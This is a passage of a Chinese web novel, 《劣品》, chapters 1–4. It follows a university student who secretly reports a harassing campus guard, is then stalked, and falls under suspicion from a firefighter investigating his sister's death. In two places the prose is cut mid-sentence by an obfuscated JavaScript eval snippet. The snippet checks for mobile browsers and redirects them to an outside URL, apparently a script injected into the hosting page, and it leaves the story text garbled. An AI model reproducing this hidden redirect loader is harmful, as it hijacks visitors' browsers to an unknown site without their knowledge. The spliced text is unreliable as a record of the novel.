《劣品》 1. 第1章 九月上旬,天气燥热。 水泥地的高温,是隔着鞋子都能感受到的炙热。 林寻走在回京大的路上,尽量往树荫底下躲。知了在梧桐树上吵个不停,聒噪得很。 终于到校门口。掏出学生卡,刷卡,过闸机,出乎意料的顺利,她松了口气。 突然被叫住。 粗声粗气,语气透着不怀好意,林寻不想搭理,装没听见,闷头往前走,胳膊却被拽住。 白衬衫上瞬间出现个带着汗渍的脏手印。 回过头。 “你聋了是怎地,我喊你你听不见?”保安李华山大着嗓门嚷嚷,他悠悠含了口烟,又吐出,一开口,呛人的烟雾夹杂着汗臭瞬间把空气占满。林寻差点把中午吃的鱼粉呕出来。 她屏住呼吸,抿着唇,想用巧劲把袖子拽出来。 周围学生脚步放缓,状似不经意停留。眼神总往二人身上去。 李华山耳朵上夹着烟,居高临下,轻蔑地打量着前面的女孩。 巴掌大的一张脸,后脑扎了个马尾,厚重的刘海把额头挡住,显得内向阴郁。一米六的个子瘦得跟猴似的,在人群中毫无存在感,平平无奇。 这种人他熟。 搁他坐牢那会儿,是他常年欺凌的对象。 见她默不作声,李华山眼里不屑愈浓,心里又给她贴上个“软弱”的标签。 天气一热,人越发燥得慌,心里总有股火气上蹿下跳。 林寻是他的出气筒。 “喂,说你呢!是我们学校的吗就往里进,看你长得乖乖巧巧的,该不会是来找男朋友约会的吧?”李华山猥琐地笑了,露出一口黄牙。 “我是京大的。”林寻低着头,刘海遮住眼睛。声音在开口时沙哑了一瞬,仿佛在这之前长久没说过话,“我是刚升大四的学生。” 她掏出学生卡向前递去。 周围逐渐有学生小声嘀咕,交头接耳,声如蚊蝇。 李华山伸出两根手指夹住学生证,眯着眼审视,发现什么,眉毛一竖,又欲发难。 被身后赶来的同事推搡了下肩。 “领导们都快到门口了,干什么呢你。” 林寻抬头看。 来人是个模样周正的中年男人,三伏天也规矩地穿着保安制服。 是个老实人,林寻给他定义。 那人环顾四周,发现三三两两的学生停在原地不动,立刻慌张驱赶:“都散了散了,市里的领导们马上要来视察学校了,你们都堵在这大门口像什么样子!” 拿校领导来压人,这招对学生永远好使。 人群一窝蜂散去。 只剩林寻还站在原地,没动……她学生卡还在李华山手里。 中年男人眼眸一转,立即明白形势。 这也不是第一次发生这种事了。他忍不住小声抱怨:“也就能欺负欺负人家小女孩。” 他把李华山手里的学生卡抢回,交还给林寻,露出个抱歉的表情:“同学,不好意思啊,我们确认过了,你是京大的学生,是我们这位同事误会了。” 林寻接过,摇摇头,走远了。身后的影子看上去瘦弱且单薄,长长一条。 这情景被李华山瞧见,俨然是她“不敢言”的证明。 又是一声冷哼。 逐渐开始有黑色汽车载着市领导驶入学校。李华山转身进了保安室。 经过岔路口,林寻左拐,朝女生宿舍走。 回想刚才的事。 大四课少,她大部分时间都在校外酒吧打工,有时散场晚,进学校少不了被李华山一顿盘问。 开始只是走流程,后来不知怎么,逐渐演变成刁难。 今天学校下午有消防演练,她跟领班请了假,本以为中午学生人来人往,那保安多少会收敛。看来是她想多了。 进了宿舍楼,林寻先找同学借了洗衣液。她去洗漱间,脱下白色衬衣,只着吊带。林寻用水打湿脏污处,抹上洗衣液,专心搓洗。 洗漱台很低,林寻弯低身子,黑手印被水一冲淡化不少,林寻松了口气,正准备再过两遍水,身后传来声惊呼。 “林寻?” 林寻偏过头。看到以前的舍友何莉双手抱了个盆子站在洗漱间门口。 看清了林寻的脸,何莉瞪大双眼,音量跟着拔高一截:“还真是你啊。咱们宿舍除了我,大四了都出去实习早退宿了。刚苏果跟我说看见你,我还以为她说瞎话诓我的呢。” 苏果是借林寻洗衣液的同学。 何莉只一瞬诧异,接着,她平淡地收回视线,往里面洗衣机的方向走。没有闲聊的意思。 从大一报道那天起,何莉就瞧不起林寻,别人都有家长送,只有她没有。拎着个褪色的破行李袋,一副穷酸样。 那会儿林寻还是短发,没有刘海,巴掌脸,穿着清爽的白色短袖,往上铺搬行李时露出一截细腰,白得晃眼,平白惹人妒忌。 何莉路过时瞥了眼林寻手里,尖着嗓子:“你衣服弄脏了啊。” “下午宿舍楼有消防演练,我回来参加。”林寻一句话简单概括,“不小心蹭到脏东西了。” “呀,真是什么衣服配什么人,衣服都比别人的脏得快。”何莉把盆里那两件短袖往洗衣机里塞。 她冷嘲热讽完,打了个哈欠,扭着腰朝门外走:“消防演练不就是校领导拿来应付上面检查的玩意。走形式的东西,又不点名,有那时间还不如学我呢,在宿舍睡觉,也只有你这种乖乖女会按部就班。” 何莉这话是打算逃了。 林寻听了只是笑笑,没作声。 何莉特地在门口等了一会儿。没听到应和,她翻了个白眼,骂了声“真怂”。洗漱室的门被她甩得“砰”一声响。 等林寻把衣服洗好,还没来得及吹干,消防演练已经开始。 尖锐的铃声响起,学生们鱼跃而出。 林寻扣上最后一颗纽扣,用打湿的衣服袖口捂住口鼻,弯腰跟着大部队往楼下跑。 路过楼梯口,她眼尖,看见瓶装物体被扔在拐角。林寻心一颤,来不及反应,就被人群簇拥着下了楼。 宿舍楼外,烈日当头。 一名消防员背对着大门,前面站了百来号学生,嬉笑打闹,毫无正形。 面容俊朗的年轻消防员清点了下人数,与名单上的少了十个不止。 他眉头一皱,严肃道:“请大家认真对待这次消防演练,如果发生火灾,这是关乎生命的大事,还有哪些同学没有下楼,请各位同学在宿舍群通知一声,积极参与消防演练。” 林寻站在人群的第一排,见状,她回头观察周围,学生们懒散地站在树荫底下聊天,都盼着结束回去补觉。 林寻位置靠前,动作幅度不好太明显,只找了三秒就转过头低下眼。 她没看到何莉。 年轻的消防员还在苦口劝:“2023年消防局共接报火灾超九十万起,其中伤亡人员近五千人……” 大家只安静了一瞬,接着又开始交头接耳。 谁有权利管他们,谁没有,学生们心里有自己一套判断标准。眼前的消防员看着比他们大四五岁,这辈子又估计只见这一回,毫无威慑力。 嘈杂声加剧。 伴随蝉鸣,喧闹一片。 消防员愈发着急,语速加快,想用生命的逝去换来学生的重视:“2022年,锦苑社区发生火灾,不幸造成居民两人死亡,一人重伤,2021年,“肆意”酒吧突发火灾,造成工作人员一死一伤,2020年,京工业大学老式建筑突发大火,木质结构加速火势蔓延,虽经扑救,仍严重受损……” 一旦定了性,后面的忽略变得理所应当。 没人听进去了消防员的话。 林寻被夹在人群和消防员中间。 她旁边两个女生正在小声抱怨打听到的小道消息说辅导员要来查人了,也不知道得什么时候才能回去睡觉…… 阳光被梧桐树叶遮挡得完全,林寻整个人被笼罩在阴影里。 她低下头,眼睫顺势垂下,掩住思绪。打湿的衬衣紧紧贴住胳膊处的肌肤。风一吹,有些凉。 林寻给何莉发了条微信。 三十分钟后,辅导员出现在宿舍楼门口。消防员点头示意,让出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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其余班长也把纷纷把名册上交,辅导员收齐,正欲宣布解散,突然听见身边爆发一声尖叫:“老师,我要举报!是因为林寻发微信让我不要下楼,我才没下来的!都怪她!老师,都是她害的我!别拍我!你拍她!你拍她啊!” 辅导员被她吓了一跳:“啊?” 本来准备散开的学生一听有瓜,也不着急走了,磨磨蹭蹭留在原地,竟然比刚才消防演练时更安静。 何莉几乎用尽全身力气指向淹没在人群里的林寻,怨恨到身体都在打颤,尖叫个不停:“我是要参加消防演练的,我还调了闹钟,但是没响……我就是睡过头了,要不是林寻,林寻她发微信给我说别下楼,我,我以为消防演练取消了,就没下楼,这不能怪我啊老师!因为她,都是因为林寻!” 何莉瞪着林寻,眼睛盛满愤怒,语气正义凛然。 从小到大,何莉觉得自己永远正确,因为她是个好人。 她诚实,喜欢陈述事实,美化过的真相就不是真相了吗?不,那叫语言的艺术。她善良,喜欢直白揭露别人的缺陷,伤到了别人?那他应该反省自己脆弱的内心。她清醒,清楚的知道自己的优势,并毫不吝啬让别人像她学习。 她是好人,那么,得罪她的都该去死。 台阶上,辅导员被吵得头疼,不耐烦打断何莉的尖叫:“你说林寻让你别下楼,微信呢,调出来我看看。” 何莉殷切地解锁屏幕,她恨恨盯着林寻:“老师,我没动过聊天记录,老师,你看!” 辅导员上下滑动屏幕,举给她看:“人家让你快下楼,何莉,你睡蒙了看错了吧。” “什么?”何莉诧异,她抢回手机,不可置信看了好几眼,和林寻的消息界面只有她14点05分发的一句“快下楼”,和13点40分撤回了一条消息,什么都没有。 她分明记得林寻发的是“别下楼”,她还记得自己当时被消息吵醒一瞬间的暴怒,又在看清内容后转为沾沾自喜。 坦白说,其实她早就预感演练会取消,还好她聪明,压根没打算参加。 何莉愉快地把手机静音倒头大睡,直到被旁边宿舍匆匆忙忙下楼的声音惊醒…… …… 学生陆续进入宿舍楼。 路过何莉时,不约而同丢下似有若无的一眼。 何莉逆着人流,恶狠狠瞪了眼林寻。接着,她踩着拖鞋,“噔噔噔“跑进楼里。 何莉搞不清楚状况,却丝毫不后悔当时第一时间把锅甩给林寻。 她永远正确,即使这个举动为自己丢脸的程度添砖加瓦。 2. 第2章 林寻回家属楼租住的房子换了身不惹眼的装扮。 黑短袖配牛仔裤,背了个黑色斜挎包。头发如瀑散着,被褐色鸭舌帽盖住。 临出门,林寻想了想,又从抽屉拿了个黑色口罩遮住脸。洗手台镶嵌了面镜子,林寻过去照,镜子里的女孩面容被口罩遮住大半,再加上刘海遮挡,爸妈都不一定能认出亲女儿。 林寻放心了,转身锁门下楼。 家属楼到校长办公室要穿过长俞湖。阳光照射在水面上,波光粼粼。三两只天鹅懒洋洋晒太阳。 大城市的学生见到野生动物的机会不多,觉得新鲜,争抢着从桥上给它们扔面包屑。 林寻踏上台阶,压低帽沿,将手里折得整齐的信纸捏得更紧,想快速穿过这群人。 偏不凑巧,离她三米开外,有人突然发出声惊呼:“哎呀,我手机掉湖里了!” “啊,那怎么办?快下去捞啊。” “网兜,谁有网兜?借我一下!” 不少学生凑到桥边去看热闹。林寻眼皮一跳,下意识加快脚步,依旧寸步难行。 快四点半了,校长办公室的那栋楼五点一般就空了。她得赶在锁门之前把信投进去。 她心里装着事,肩膀使劲往前挤,没轻没重。 “哎呀,挤什么挤啊。没看到前面都是人吗!” 林寻低着头,连声道歉。视线里突然出现一双黑色皮鞋,林寻反应不及,惯性刹不住车,直直撞到那人身上,头上的帽子和信纸一起被撞掉在地上。 人来人往,林寻在人群中蹲下,像个小萝卜丁。她用眼睛搜寻信纸,想抢在被脚踩踏上前拿回来。 下一瞬,一只修长大手先她一步拾起信。 林寻的心脏重重一跳,她怕内容暴露,迅速抬头。 头顶就是烈日,眼睛被刺到睁不开,一片模糊中,林寻只能从体形判断出是个高瘦的男人,她脱口而出:“我的……” 话音未落,信被送到她面前。林寻接过来捂在胸口。 她站起身,顾不上拍裤子的灰尘,低头欲走。 擦肩而过的那一刻,侧上方传来似有若无的一声。 “喂。” 刚才那个男人在叫她。 是要争论对错吗?林寻猜想着,但不想浪费时间跟他理论,只想脱困。 她脚底生风,跑得飞快。 “……” 容季举着手机站在桥上,目送林寻眨眼不见人影。他眉梢上扬。 不就想还她鸭舌帽吗,怎么整得跟他要讹她一样。 电话那头的人还在持续不断轰炸他右耳。容季收回视线,面无表情从林寻的反方向下桥,顺带把电话拿远了些。丝毫不妨碍声音传播。 “容季你个混小子消防员不想当了是吧?谁给你的胆子不报告就在消防演练里用二氧化碳的?啊?喂,喂?说话啊!” 容季用小拇指松垮勾着鸭舌帽的松紧带,扫了眼路边的学校地图,朝食堂走,语气认真:“嗯,您把我辞了吧。” 电话那头突然安静。显然没料到是这个反应。 两秒后,爆发一声直冲云霄的怒吼。 “别以为老子不敢!” …… 京大有两个食堂,容季去了菜品多的那一个。 刘云已经点好菜。容季进包厢的时候,他正灰头土脸挨刘海的训。 余光瞥见门开,刘云好似发现救星,赶紧站起来冲他招手:“容哥!你快帮我劝劝我爸,他说明天要把我逐出家谱!” 刘海闻言,更是气不打一处来:“你还好意思叫人哥?有你哥一半气势,你刚也不至于压不住场!” 容季拖开凳子,笑:“这是怎么了?” “还不是刚才的消防演练。”刘云垂头丧气,自顾自倒了杯白酒,“我爸嫌弃我没用。” 刘海冷笑:“有屁就放。” “我那不是顾及一群女生面子薄,不好冲她们发脾气嘛。”刘云不甘心,辩解,“不信你问容哥,以前在队里,我吓唬人也是有一套的!” “别以为我退休了就不知道你在队里什么熊样。”刘海在桌子下面又踹他一脚。刘云吃疼,龇牙咧嘴,不敢在他老子面前再造次。 刘海转向容季,给他碗里夹了一只螃蟹,语气瞬间缓和,神情担忧:“小容啊,刚付队跟我打电话,说让你休长假。” 说得好听是休假,刘海回忆付国清当时那语气,估摸着容季这辈子再想归队应该是无望。 刘海叹了口气,目光掺杂怜悯与无奈,陷入回忆。这孩子也是可怜。 容季和他家那混小子是同一时期进队的新人,一来二去,和他也逐渐熟络。 容季性子野不服管,刚进去那会儿在付队手底下吃了不少苦头。三年前,他妹妹又突然意外在火灾中离世…… 刘海给容季倒了一小杯白酒。 这两年容季状态越发邪乎,时常去局里闹,口口声声笃定已经被认定为意外的妹妹的死是人为……这不是打人家脸吗? 上面都是通气的。开始还体谅,最近应该是忍无可忍了。 刘云嘴里包着饭,一会儿看看他爸,一会儿看看他哥。 容季笑着夹菜:“刘叔,锅包肉好吃。” “好。吃,你也吃。”刘海走了神。他从前就心疼这孩子,现在也想帮帮他。 “小容你要不要来京大当保安?” 话一出,容季没反应,刘云先咋呼开:“保安?爸您让我容哥去看大门啊?” “看门怎么了,看门不挣钱啊?你爸我也是看门的!”刘海往他脑袋上招呼一巴掌。 刘云“嘿嘿”笑了两声,不做声了。 容季摇摇头:“刘叔,我想休息一阵。” 刘海刚也是一时冲动下的提议。这会儿反应过来,也没强求,体谅这孩子心里有事:“诶,是该出去好好玩玩。出去旅旅游,散散心也好。你还年轻,不愁养不活自己。” …… 容季回到和妹妹的家。 妹妹生前的房间他照原样保留着,只是时不时进来打扫下卫生,里面的陈设没移动过。 空气中飘浮着微小颗粒。 书柜上摆放着木制相框,背景是教学楼,圆脸女孩穿着冬季校服,兴奋地比着剪刀手,笑容灿烂又明媚。 容季站在妹妹门口沉默良久,还是关上门,回到自己的房间。正中央放置了一个白板,上面详细写着妹妹去世前那段时间的行踪。 容季一点都不信妹妹的死是意外。 妹妹上学时成绩很好。小他五岁,却很懂事。 他们的父母在他们小时候就去世了。容季上学时很混,没好好读书。长大了工作忙,妹妹高考那两天容季都没能去送送她。 那样乖巧懂事,连第一次发现他抽烟,生气时说话都细声细气的一个女孩。 最后,居然会惨死在酒吧里。 容季痛苦地阖了阖眼,去厨房倒了杯冷水。冷水滑过咽喉,瞥见茶几上林寻的鸭舌帽。容季顿住,抬脚走过去。 他拿起鸭舌帽端详。 它的主人,那女孩,他认识。是妹妹的大学同班同学,名字叫林寻。 容季回忆,妹妹火化前,葬礼上,她所有的同学都来了。除了林寻。 如果仅是如此,其实并不值得容季怀疑她,但是容季清楚记得,妹妹去世前一周,做了许多反常的事。她给容季打过电话。 在那个电话之前,容季从来没听过妹妹用如此恶毒的话语诅咒过一个人。 她声嘶力竭,仿若灵魂都在震颤,嘶吼: 我想林寻去死。 一周后,林寻没死,死的那个人,是他妹妹。 …… 林寻下班回到家属楼将近晚上九点。 她到了打工的酒吧才发现帽子掉了,但那是她在打折的地摊上买的,很便宜,林寻没太放在心上。 她现在比较关心另外一件事。 林寻回到卧室,拉开梳妆台的抽屉,里面整整齐齐码了十几封打印信,信的内容不太一样,但主旨是同一的—— 举报保安李华涝骚扰女学生。 林寻点了点信的数量,再投三封,就凑齐十四封了。 她轻声哼着童谣,心情总算愉悦。慢悠悠坐下照镜子。 睚眦必报。这是她小时候混迹于孤儿院时就学会的真理。 对何莉是这样,对李华山,也是这样。 林寻用夹子夹住刘海,露出小巧清秀的面容。她仔细卸掉妆容,拿了换洗衣物去洗澡。 没多会儿,浴室里水汽蒸腾。雾气氤氲弥漫,女孩往手上挤沐浴露。她的身体纤弱白皙,唯独腰上有一块烧伤疤痕,破坏了整体美感。 …… 容季再次接到刘海的电话是在七天后。 他才刚来得及叫一声“刘叔”,对面就急着开口:“小容啊,我之前说的那个事,你还考虑不?” “什么?” “就是来京大当保安啊。工资一个月八千,调班轮休,包住。” “……” 刘海顿了顿:“小容啊,刘叔知道你放不下你妹妹的事,但人总得挣钱养活自己不是,人没 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“行!那就这么说定了!”刘海话里透着股兴奋,两人又寒暄两句。临挂断,容季突然提起个事。 “不过按您说的,那个叫李华山的听起来挺记仇,要是被他知道是谁举报他,那学生岂不危险。” “啊?京大举报都是匿名的,那些信也没署名,没事吧?”刘海第一反应。 容季笑笑:“我就是说说。” …… 刘海吃完晚饭,心不在焉刷完碗,照旧拿起新闻头条。 十分钟过去,他的眼神仍然胶在第一个板块。人还坐着凳子上,魂不知道飞哪去了。 刘海放下报纸,忍不住叹气。 距离容季答应帮忙已经过了六小时了。解决了一件大事,他照理来说应该轻松才对,但那颗心却总是沉甸甸的。 刘海是个老好人,退休之前是消防员。 他们之中的大部分人,与生俱来责任感与正义感。 …… 晚上九点,林寻从酒吧下班。她隔老远就抻着脖子朝校门口的保安亭里望。 没看到李华山,林寻雀跃了,三步一小跳。 昨天家属院贴公告,说路灯检修,视线所到之处黑暗一片。 入夜后的寒冷后知后觉,代替雀跃裹挟住她。 林寻想打开手机照明,突然,身后响起一连串脚步声,急促沉闷,是男人。林寻呼吸加重,汗毛竖起一片,手下意识探入斜挎包内。 手电筒的光打在林寻脚边,形成一圈保护罩,将黑暗隔绝在外。 林寻转过身,光随之移到她脸上,照亮了她惊慌失措的脸庞。 刘海一愣,下意识挠了下头,不好意思地道歉:“对不起啊小姑娘,是不是吓着你了?” 林寻对他还有印象,之前被李华山为难,刘海帮她说过话。林寻松了口气,绷紧的肌肉开始舒缓。 林寻不动声色地把手从刀柄上移开。 她努力挤出个小心翼翼的笑,悄无声息退后两步:“叔叔,我没关系的。” “噢噢,没吓到你就好。”刘海松了口气,他从保安的上衣口袋里掏出个纸条递给女孩。 林寻用目光审视。 看着像是从报纸上随手撕下来的,纸张泛黄,边缘毛燥。 展开来,是串电话号码。 女孩脸上的疑惑显而易见,刘海下意识站直身体,摆出个立正的姿势。林寻直勾勾盯着他,感觉他下一秒都要给自己敬礼了。 “这是我的电话号码,你要是遇到解决不了的事情,可以随时向我寻求帮助。” 女孩默不作声。 刘海紧张地望着她,突然觉得她的头发是不是该修剪了。额前的都长到遮住眼睛了。但这种事他一外人提醒不合适。 刘海以为她害羞,又体贴地补了句:“叔叔是保安,你别害怕,有事尽管麻烦我就对了!” 闻言,女孩这才抬起头笑开,当他面把电话号码存到手机里:“我知道了,谢谢叔叔。” 刘海放心了:“快上楼吧,叔叔看着你上去。” “好,叔叔再见。” 楼栋里传来防盗门开合的声音。 刘海心满意足打着手电筒,背着手悠闲踱步。 算上林寻,刘海给印象中所有跟李华山发生过冲突的学生都留了电话。 他边巡逻边盘算。 得亏容季电话里的提醒。 这下他安心了。 3. 第3章 林寻发觉最近有人在跟踪自己。 有时是休息日去食堂买晚饭回去的路上,身后那道沉重的目光。有时是在酒吧下班的深夜,路灯映照的鬼祟黑影。 林寻烦躁,却也实在拿他没办法。毕竟没有受到实质性伤害,去报警小题大做。况且她手里没证据。 斜挎包的小刀旁边又增加了一瓶防狼喷雾。 周五晚上八点。 酒吧零零星星只来了五六个人,林寻正往卡座上摆酒和零食拼盘。灯光昏暗,同事徐雨鬼鬼祟祟凑到她身边来时,把她吓了一跳。 零食和酒瓶晃动两下,终究没撒出来。林寻不习惯和别人贴在一起,后退两步:“干什么。” 徐雨没注意她的疏离,又往前凑了凑。她贴在林寻耳边低声道:“你最近有没有被跟踪过?” 林寻本来想推开她的动作一顿:“你知道是谁?” “不知道。” 徐雨左顾右盼,最终拉着林寻走到吧台边上的隐秘拐角:“就是这两天的事,我同学说她也是,但是正好那天她男朋友在附近等她,把那变态吼走了,好像是个中年男人,带了口罩,看不清脸。” 似乎受害者不止她一个。 林寻看她:“你想说什么。” 徐雨搓了搓手,语气带了点商量:“我们都是京大的,你看……” 林寻了然,她移开视线,随手拿起一个玻璃杯擦拭:“你想说下班一起走?” 徐雨点头。 虽然之前跟她没讲过两句话,林寻琢磨了会儿,但这事情对她百利无一害,答应了:“好。” 酒吧是倒班制,林寻和徐雨本来今天得凌晨十二点下班,但不知道是不是老板听说了最近有“跟踪变态”的风言风语,九点半,徐雨拉着林寻去跟老板请假说提前走时,老板毫不犹豫就同意了。 两人出酒吧时外面雨正大,甚至起了雾,远处白茫一片,看不清建筑。街上只偶有两三个行人匆匆赶路。徐雨冲绿色邮筒旁边打伞的女生挥手,喊:“我在这里。” 听到声音,女生往徐雨和林寻的方向走。 徐雨迅速钻到她伞下,还不忘转头朝林寻解释:“这是我合租室友李静,在旁边的饭店兼职。我们三个一起回去吧。” 李静朝林寻笑了笑,算是打招呼。 三个女生撑着伞沿着街边的绿化带走。一黑一红,像两个蘑菇。 雨噼里啪啦打在林寻伞上,很舒服的白噪音。 林寻听着雨声,伞罩在头顶,完完全全隔绝外界雨水,给足了她安全感。 她身体不自觉放松下来,甚至百无聊赖地想着这种暴雨天很适合在家睡觉。 旁边徐雨和李静叽叽喳喳聊八卦。一会儿说她们班那个谁抢了兄弟女朋友,一会儿又说起京大最近招了个新保安,五官帅得像是哪个爆火的明星。天南海北,什么都扯。 林寻听了一会儿,对这话题实在不感兴趣,索性带上耳机听歌。 京大离酒吧不远,九百多米大概只用走十来分钟。 到校门口,徐雨停住,终于想起还有林寻这个人,四下看,发觉她落在两人身后三四米远,于是朝她喊:“林寻,我俩就先走了啊,我们住遇来小区,不在学校里面。” 林寻摘下耳机,朝她手指的方向望了一眼,小区里面灯火通明,十分亮堂。她点头道别。 雨势有越下越大的趋势,时不时还有雷声轰隆。 路过保安亭时,林寻仍旧下意识朝里面望了一眼,黑灯瞎火,没有人值班。林寻收回视线,莫名打了个寒颤。 要降温了。 通往家属楼那条路的路灯已经修好,照射出林寻背影,形单影只。林寻打着伞,绕过水洼,加快回出租屋的步伐。不好的预感渐浓。 雨势渐大,夹杂狂风。梧桐树叶被风一吹,在头顶哗哗作响,落了几片在林寻面前,然后被接踵而至的雨水死死钉在水泥地上,动弹不得。 林寻停住,盯着被打落的叶片。女生的直觉告诉她有哪里不对劲。 她下意识回头。 一个穿着黑衣雨衣的男人站在她身后,脸被口罩挡住大半,只露着一双眼,眸色阴沉,死盯着她。 一瞬间,周围仿佛定格。雨声,风声,林寻都听不见了。雨滴悬在她眼前,透过雨滴,她看见男人扭曲的身影急速朝她扑过来。 “……” 来不及多想,林寻扔伞就跑。 伸手不见五指的黑暗几乎将两人吞噬。暴雨中,两人一跑一追,如猛禽追逐猎物。豆大的雨点迫不及待砸在林寻头上,脸上,她睁不开眼,慌不择路,一脚踏入水坑,鞋子进了水,黏腻感瞬间缠绕林寻,挥之不去。 两人之间的距离越来越近,男人的手几乎碰触林寻肩膀。林寻猛一回身,拉开距离的同时,手探入斜挎包,抓到什么扔什么,刀,喷雾,钱包……被全数躲开。 实在扔无可扔,林寻眼珠一转,看见拐角处的垃圾桶,她干脆推倒,垃圾桶摔在水泥地上,一声闷响,溅起一地汤汤水水…… 林寻又在黑暗里奔跑许久,确保身后没人后,才敢跑进她租的那栋楼。 上楼,关门,落锁,一气呵成。林寻靠在门上,身子瘫软,缓缓滑落在地。她张着嘴急速喘气,心跳声震耳欲聋。 窗帘在狂风里胡乱拍打着,像想挣扎,摆脱掉什么。她不敢开灯,就这么在黑暗里靠坐了许久,直到心跳平稳,才起身去关玻璃窗。 屋内屋外仿佛两个世界。 家属楼隔音差,林寻关窗时听到楼上陆续传来拖凳子的动静,夹杂着间或两声争吵。这种生活的噪声带给了林寻安全感。 林寻抿住唇,靠在窗边掏出手机翻通讯录,思绪往外飘。 是李华山吗? 她扒开黏在额头上的刘海,手指沿着窗户边缘无意识抚弄。 只能是他了。中年男人,又恰巧是在李华山被学生举报离职后,那个变态才出现的。所以,他是想报复举报他的女学生?跟踪之后呢,怎么做? 林寻僵硬地转过头,凝视窗外的雨幕。窗户倒影出一个安静的女孩,眼珠漆黑,透着荒芜的气息。 她不后悔举报他。 但报复来临之际,她开始检讨,是不是可以做得更加隐蔽,更加安全。 楼上的动静也停了,只剩雨点噼里啪啦打在窗户的动静……和打在伞上的如出一辙。 刚才的经历历历在目,恐惧卷土重来,要将她淹没。 不,不。 不再深想。 林寻重新把视线移回来,屏幕微弱亮光照出她惊魂未定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15282786|166910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的脸庞。 她手指下滑,先找个熟悉的人,先度过今晚。 天一亮,就去报警。 翻到那个最近存的号码,那个为数不多被她划为好人阵营的人。拨通。那边很快接起,语气明显迟疑:“喂,你哪位?” 夜幕沉沉,林寻深吸一口气,尽量用带着哭腔的声音哭诉:“叔叔,我是林寻,之前您给过我号码……” …… 刘海揣着伞慌忙火急奔下楼,楼道的感应灯亮的速度都追不上他跑得快。下台阶时脚一崴,伞差点杵上楼的人身上。刘海下意识道歉,感应灯正好亮了。 一抬头,是容季。 刘海一愣:“小容?你才回来?” 他上下打量,容季没拿伞也没穿雨衣,黑色衣裤透湿,湿哒哒黏在他身上。刘海一着急,对小辈的关心覆盖掉疑惑,手推着他上楼,催促:“赶紧回家洗澡换衣服,湿衣服穿久了要着凉的,出门也不带把伞……” 容季笑笑,不着痕迹侧身避开他触碰他衣服的手,转移话题,问:“刘叔,您大晚上的这是要去哪?” “哦,有个小姑娘出了点事,我去看看……你怎么还站着不动?去,去,赶紧回家换衣服去。” 容季想了想,点了点头,往楼上走。 刘海到林寻出租屋的时候,林寻给他开的门。女孩看着像刚哭完,眼睛红得像兔子,刘海心一紧,下意识问:“哎呀,怎么了这是?你跟叔叔讲讲,别哭别哭。” 林寻轻轻摇了下头,示意他进屋子里说。刘海把门关上,林寻去厨房给他倒了杯水,正要开口,门外突然又响起敲门声。 “咚咚咚”。平稳连续三下。 在这寂静深夜,格外瘆人。 林寻心一磕,闭了嘴。 刘海安抚地看她一眼,去门边扒着门透过猫眼看外面,很快,他拉开门,看向门外的人,隐隐责备:“小容啊,不是让你回家换衣服吗,你这怎么还跟着我来了。” 两人交谈几句,隔着刘海,林寻又离门边远,只隐约听见“钥匙”“门”几个字眼,看不清来人。 很快,刘海转过身,语气歉疚:“小姑娘,我这同事没带钥匙回不了家,可能得等我解决完你的事再领他去拿钥匙。他衣服湿了,不好弄脏你的地板,就在门外不进来了。” 听起来刘海和他很熟悉。 不是李华山。 林寻松了口气。 人家上门帮你,你让人家同事在门外吹冷风,于情于理都说不通。 林寻轻声说:“没事的叔叔,让他进来吧,我有没用过的毛巾,给他先擦擦吧。” 刘海感激,“那谢谢你了。”转身招呼,“小容,快进来谢谢人姑娘。” “麻烦了。”一道低沉男声,伴随着防盗门合上的声音。 “没事。”林寻转身去拿毛巾。 转身的一刹那,对上一双深不见底的黑漆眼眸。猝不及防。 窗外持续电闪雷鸣,头顶的老式吊灯闪了两下,歇了火。屋内陷入黑暗。一道闪电破空而出,照亮了男人的脸庞。 毛巾连同塑料包装袋一起掉落在地。 心神剧颤中,林寻恍惚又回到在暴雨中的追逐战,鼻尖甚至能闻到垃圾溅出来的恶臭。 他找到我了。她想。 4. 第4章 屋外暴雨倾盆,雷声阵阵。 屋内三人在黑暗中各占据一角。 林寻和刘海坐在沙发上,容季站在门边。 还是刘海先打破寂静,他往窗外看了看。整片家属楼都陷入漆黑,一片死寂。 声音有些苦恼:“小姑娘,你家有蜡烛什么的吗?应该是下雨导致家属楼这块停电了。” 林寻深吸口气,她感觉心脏和胃在一块抽动。 弯腰捡起地上的毛巾递给刘海,又打开手机手电筒照明:“有,叔叔,在卧室抽屉里,我去拿。” “好的好的。” 蜡烛撕破黑暗,在茶几上散发微弱亮光,林寻的视线悄无声息从刘海移到容季的脸上,判断着他此刻的危险性。 这人从进屋就默不作声。这会儿正倚靠在门边,眉眼低垂,用毛巾轻轻搓揉头发。 仿佛察觉到林寻视线,容季抬眼看过去。林寻没有移开视线,也没有被抓包的心虚。 两人在黑暗中沉沉对视。 “小姑娘,你遇到什么事了,突然打电话可吓了叔叔一大跳,还好叔叔也住家属楼,赶来也近。喏,就二十九栋。”刘海指了指窗户外,林寻顺着看过去,在她租的这栋对面。 收回视线,她死盯着容季,刚想说什么,容季抢先她一步。 “毛巾我用好了。”他把毛巾轻轻搁在玄关的柜子上,接着,眉毛一挑,熟络开口,“刘叔,刘云最近怎么样,明天我想约他出来一块儿喝酒,就当是庆祝我的新工作。成吗。” “成啊!他要是知道他最佩服的容哥找他,估计今晚都睡不好觉,巴不得立刻就到明天了。” 刘海看向容季,笑得开怀。 林寻眼睛暗了下去。他这话是在提醒她,他跟刘海一家很熟。 刘云她不认识,但她猜测应该是刘海的儿子,他们都跟这个男人很熟悉,如果冒然指控容季刚才跟踪他,刘海会不会信暂且存疑,万一刘海不站她,她一个人对付不了他们两个。 林寻从沙发上站起来,影子在墙上晃了晃,声音听起来委屈又可怜。转瞬间组织好了措辞:“叔叔,楼上太吵了,我睡不着,但我一个女孩不敢去跟他们说,怕他们看我一个人欺负我,所以想着叫您一起壮壮胆。” “啊,可以可以。” 